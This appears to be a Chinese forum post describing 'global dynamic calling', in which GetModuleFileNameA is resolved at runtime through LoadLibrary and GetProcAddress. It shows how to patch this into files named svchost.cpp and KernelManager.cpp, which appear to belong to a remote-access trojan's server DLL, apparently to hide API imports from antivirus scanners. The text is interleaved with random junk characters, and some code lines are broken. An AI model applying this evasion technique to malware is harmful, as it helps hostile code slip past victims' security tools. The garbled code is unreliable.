返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
/ r2 c% T7 T2 x; K/ A  k# g' N8 ?svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h+ @2 |+ @- i% r+ M& R3 _8 d
----------------------------------------2 c' ^) \- h; i8 B
DTDY.h:8 n# R6 T2 X' s( f0 ]

1 _6 j( R3 i' V+ o; `' G( G#if _MSC_VER>1000
- D0 L( j4 n' x) k#pragma once; ?; _: e: N, ]6 k9 k2 N  Z
#endif //_MSC_VER>1000
8 d8 X0 J4 _# x, G#include<windows.h>
; ]/ D9 y, _+ U7 {; o+ _" y6 g3 H( U
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);# X3 q& e$ g  Z) S+ ^7 W) J) f
class DTDY
8 {0 J" q9 i; ]; i{
2 y+ c0 k- q+ }. K  tpublic:
- m* m0 y  W2 GDTDY();: X, s' Z! }5 Z& A% k
virtual ~DTDY();& K6 }& j) R1 ?" b5 a  N
public:; e! ~- E+ B3 N
static pGetModuleFileNameA MyGetModuleFileName;! a! s& Y# h7 J: [; A  n4 F- \' b
static BOOL FunInitiallization();
1 S. a& C  Q# o5 C& \) D; J# ]) z};2 i2 M* ^7 _4 k9 }" M8 d8 t( ~
#endif
2 }( J2 g$ b( R1 `7 O3 p6 X. H/ x----------------------------------------8 q! f$ @& k) B0 G! x2 O
& L/ S$ ]1 D0 L5 l/ q+ v# {
DTDY.cpp:
) k5 B6 s* J' {3 n6 o+ {1 T- H( O" j
#include "DTDY.h"
2 v0 t9 ?2 L5 {3 L9 Q" z0 f' fpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;$ u) p# b# K4 x
DTDY:TDY()1 q) O1 {: F3 e  e+ t
{
6 S" Y* z" _- s3 V}( p  w- h, O/ t: L; G
DTDY::~DTDY()
; T: d/ U* l& d{
  c  \& ^. F( F}# m" u5 s3 D1 n/ ~7 H0 u; r
BOOL DTDY::FunInitiallization()$ V' u2 \2 M5 L. F+ @/ `( F
{+ Z# [& @2 ?7 h" q+ Z3 C
HMODULE hModule=LoadLibrary("kernel32.dll");
9 x. }2 w8 x% [! z" DMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
2 {1 q9 o2 T  @* jif(!MyGetModuleFileName=) return FALSE;
1 N. R+ C$ [) z( t& c& @: O9 S- t$ L4 L' Q3 G! f+ ]) J( f
return TRUE;
& {! n1 i5 X' y0 O}
0 D) P) S( P. `- s2 E5 l% ]6 k----------------------------------------9 x2 n+ Y# l1 Z# s9 K3 \/ d, Y6 A; ?
svchost.cpp:
; J4 ]! J) o/ ]$ R1 T( x- Q5 M7 S  K2 ]0 ?/ B
#include "DTDY.h"- ]  V! t8 e" }& o) u

4 X" \) Q) ?. DBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)& t7 S  F, D+ u
{
4 a& ]6 H( H* Q& o9 D- I# [: Rswitch(ul_reason_for_call)
3 `! e: e! u7 D- U4 s{0 y# X! c( f6 V) ^' i7 V: s
case DLL_PROCESS_ATTACH:
2 G( K- }8 q; {if(!DTDY::FunInitiallization()) return FALSE;4 K+ e# L6 G' ~5 e, h" r+ R
* i0 ^, S+ n1 X- J1 d
break;
5 i! V. K! \3 L+ W1 v1 d+ ]( |}
" i! u- L$ Y8 W" f}
' q; w# @" n0 r2 v7 f2 ~' C% i) M4 ~

. w' z. b5 B. r! w+ |GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
8 K% [. N# ]' F- I% t: `( s8 g改写为* n5 G9 _7 b% U2 |" v
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));* H& ~. @0 }) W! k, J; }3 t* B' n
----------------------------------------8 Y! J4 A8 |$ V$ _2 u
KernelManager.cpp:0 @( H1 M# K" |7 O/ Z7 D& M

& Z% L/ F' z, g( d* @#include "../DTDY.h"
2 h- T, q2 c$ b' Z  z+ S+ [$ RGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));6 [4 M/ d* c  Q$ C
改写为% o" X7 Z% c3 t9 v" n: j
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));% N; S. A% H& q+ L; ~
----------------------------------------

返回列表